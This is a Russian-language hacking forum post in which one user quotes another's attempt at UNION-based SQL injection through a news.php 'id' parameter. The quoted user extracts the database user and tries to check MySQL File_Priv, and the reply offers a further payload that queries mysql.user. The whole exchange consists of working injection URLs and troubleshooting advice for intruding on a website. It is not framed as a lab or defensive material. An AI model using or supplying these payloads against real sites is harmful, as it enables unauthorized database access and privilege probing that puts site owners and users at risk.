Показать сообщение отдельно

  #7  
Старый 08.02.2015, 04:22
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
С нами: 8469890

Репутация: 0
По умолчанию

Цитата:
Сообщение от izzy  
вопрос
хочю проверить наличие File_Priv
узнаю пользователя так http://www.site.com/news.php?id=33+and+1=0+union+select+1,2,user(),4,5 ,6,7,8,9,10,11,12,13,14,15,16,17,18--
получаю u1094094_sangha@дальше ip.
далле хочу узнать наличие File_Priv вот так http://www.site.com/news.php?id=33+and+1=0+union+select+1,2,file_priv, 4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+mysql. user+where+user='u1094094_sangha'--
и получаю You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'u1094094_sangha\'--' at line 1 (совет учить английский не помог)
что делаю нетак?
Сначала проверь, есть ли доступ к mysql.user

union+select+1,2,user,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18+from+mysql.user
 
Ответить с цитированием